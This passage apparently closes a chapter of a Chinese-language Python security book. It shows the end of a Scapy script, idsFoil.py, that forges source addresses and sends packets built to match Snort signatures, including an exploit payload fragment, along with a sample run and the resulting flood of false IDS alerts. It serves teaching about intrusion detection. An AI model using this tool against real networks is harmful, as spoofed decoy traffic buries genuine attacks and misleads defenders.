pkt = IP(src=src, dst=dst) / UDP(dport=635) /Raw(load="^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F")
send(pkt, iface=iface, count=count)
def scanTest(src, dst, iface, count):
pkt = IP(src=src, dst=dst) / UDP(dport=7) /Raw(load='cybercop')
send(pkt)
pkt = IP(src=src, dst=dst) / UDP(dport=10080) /Raw(load='Amanda')
send(pkt, iface=iface, count=count)
def main():
parser = optparse.OptionParser('usage%prog -i<iface> -s <src> -t <target> -c <count>')
parser.add_option('-i', dest='iface', type='string', help='specify network interface')
parser.add_option('-s', dest='src', type='string', help='specify source address')
parser.add_option('-t', dest='tgt', type='string', help='specify target address')
parser.add_option('-c', dest='count', type='int', help='specify packet count')
(options, args) = parser.parse_args()
if options.iface == None:
iface = 'eth0'
else:
iface = options.iface
if options.src == None:
src = '.'.join([str(randint(1,254)) for x in range(4)])
else:
src = options.src
if options.tgt == None:
print(parser.usage)
exit(0)
else:
dst = options.tgt
if options.count == None:
count = 1
else:
count = options.count
ddosTest(src, dst, iface, count)
exploitTest(src, dst, iface, count)
scanTest(src, dst, iface, count)
if __name__ == '__main__':
main()
```
執行我們最終的腳本，我們可以看到它正確的發送了八個數據包到目標地址，欺騙源地址為`1.3.3.7`。為了測試目的，確保目標主機和攻擊者的機器不同。
```
attacker# python idsFoil.py -i eth0 -s 1.3.3.7 -t 192.168.1.106 -c 1
Sent 1 packets.
Sent 1 packets.
Sent 1 packets.
Sent 1 packets.
Sent 1 packets.
Sent 1 packets.
Sent 1 packets.
Sent 1 packets.
```
分析IDS的日志，我們看到它很快就填滿了八個警告消息。棒極了！我們的工具包工作了，本章結束！
```
victim# snort -q -A console -i eth0 -c /etc/snort/snort.conf
03/14-11:45:01.060632 [**] [1:222:2] DDOS tfn2k icmp possible
communication [**] [Classification: Attempted Denial of Service]
[Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106
03/14-11:45:01.066621 [**] [1:223:3] DDOS Trin00 Daemon to Master PONG
message detected [**] [Classification: Attempted Information Leak]
[Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:31335
03/14-11:45:01.069044 [**] [1:228:3] DDOS TFN client command BE [**]
[Classification: Attempted Denial of Service] [Priority: 2] {ICMP}
1.3.3.7 -> 192.168.1.106
03/14-11:45:01.071205 [**] [1:313:4] EXPLOIT ntalkd x86 Linux overflow
[**] [Classification: Attempted Administrator Privilege Gain]
[Priority: 1] {UDP} 1.3.3.7:53 -> 192.168.1.106:518
03/14-11:45:01.076879 [**] [1:315:6] EXPLOIT x86 Linux mountd overflow
[**] [Classification: Attempted Administrator Privilege Gain]
[Priority: 1] {UDP} 1.3.3.7:53 -> 192.168.1.106:635
03/14-11:45:01.079864 [**] [1:636:1] SCAN cybercop udp bomb [**]
[Classification: Potentially Bad Traffic] [Priority: 2] {UDP}
1.3.3.7:53 -> 192.168.1.106:7
03/14-11:45:01.082434 [**] [1:634:2] SCAN Amanda client version request
[**] [Classification: Attempted Information Leak] [Priority: 2]
{UDP} 1.3.3.7:53 -> 192.168.1.106:10080
```
## 本章總結
恭喜你！我們在這一章編寫了相當多的工具用來分析網絡流量。我們從編寫簡單的檢測極光攻擊工具開始。接下來，我們編寫了一些腳本來檢測Anonymous黑客組織的LOIC工具的攻擊。接下來，我們重現了7歲的Moore用來檢測五角大樓的誘餌掃描程序。接下來，我們創建了一些腳本用來檢測利用DNS作為攻擊向量的攻擊。包括Storm和Conficker蠕蟲。有了分析流量的能力，我們重現了20年前米特尼克用于攻擊的程序。最后，我們利用我們的網絡分析技能偽造數據包挫敗了入侵檢測系統。
希望本章為您提供了極好的網絡流量分析技能。在下一章我們編寫無線網絡審計和移動設備的工具時這些技能是有用的。
